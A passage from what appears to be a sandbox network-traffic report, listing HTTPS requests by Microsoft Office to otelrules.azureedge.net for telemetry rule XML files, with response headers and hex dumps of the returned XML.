2024-10-29 16:59:30 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.6	49848	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:30 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 16:59:30 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:30 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: 92eac08a-601e-0001-29b2-26faeb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T165930Z-16849878b785dznd7xpawq9gcn000000083g00000000sm7a x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 16:59:30 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.6	49849	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:30 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 16:59:30 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:30 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: a3bf04aa-f01e-001f-636e-285dc8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T165930Z-r197bdfb6b4bq7nf8dgr5rzeq4000000023g00000000a7a9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 16:59:30 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.6	49850	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:30 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 16:59:30 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:30 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: a1e8ab16-701e-0050-601c-266767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T165930Z-16849878b78bcpfn2qf7sm6hsn000000089g00000000w6yq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 16:59:30 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.6	49851	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:31 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 16:59:31 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:31 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: 3ac285a4-101e-0046-4580-2791b0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T165931Z-r197bdfb6b4d9xksru4x6qbqr000000006yg0000000059a9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 16:59:31 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.6	49852	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:31 UTC	192	OUT	GET /rules/rule703501v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 16:59:31 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:31 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8C605FF" x-ms-request-id: a4e3dea6-301e-005d-1111-29e448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T165931Z-r197bdfb6b48pl4k4a912hk2g4000000062g000000006kmy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 16:59:31 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703501" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSa

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.6	49853	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:31 UTC	192	OUT	GET /rules/rule703500v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 16:59:31 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:31 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF497570" x-ms-request-id: 7b68ac53-d01e-0082-7e67-27e489000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T165931Z-16849878b78wv88bk51myq5vxc00000006z000000000w0xq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 16:59:31 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 6e 64 62 6f 78 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703500" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSandbox" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.6	49854	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:31 UTC	192	OUT	GET /rules/rule701801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 16:59:31 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:31 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2EEE03" x-ms-request-id: 689eda34-b01e-0098-359c-29cead000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T165931Z-r197bdfb6b46kmj4701qkq602400000005u000000000enk6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 16:59:31 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.6	49855	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:31 UTC	192	OUT	GET /rules/rule701800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 16:59:31 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:31 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BEA414B16" x-ms-request-id: 68df6217-401e-0029-6d9c-279b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T165931Z-16849878b78nx5sne3fztmu6xc00000007vg000000004cv4 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 16:59:31 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 73 6f 75 72 63 65 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenResources" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.6	49856	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:31 UTC	192	OUT	GET /rules/rule701051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 16:59:32 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:32 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:47 GMT ETag: "0x8DC582BE1CC18CD" x-ms-request-id: 5383d0ca-b01e-0053-2a56-26cdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T165932Z-r197bdfb6b4d9xksru4x6qbqr000000006y0000000005hr2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 16:59:32 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRe

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.6	49860	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:32 UTC	192	OUT	GET /rules/rule702301v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 16:59:32 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:32 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:00 GMT ETag: "0x8DC582BE976026E" x-ms-request-id: 47e1cb19-101e-0034-6f13-2996ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T165932Z-r197bdfb6b4b4pw6nr8czsrctg00000007n0000000005n7p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 16:59:32 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702301" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPr

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.6	49859	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:32 UTC	192	OUT	GET /rules/rule702750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 16:59:32 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:32 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE5B7B174" x-ms-request-id: a3881376-a01e-000d-19f4-27d1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T165932Z-r197bdfb6b4wmcgqdschtyp7yg00000006sg000000009cy1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 16:59:32 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 75 62 6c 69 73 68 65 72 22 20 53 3d 22 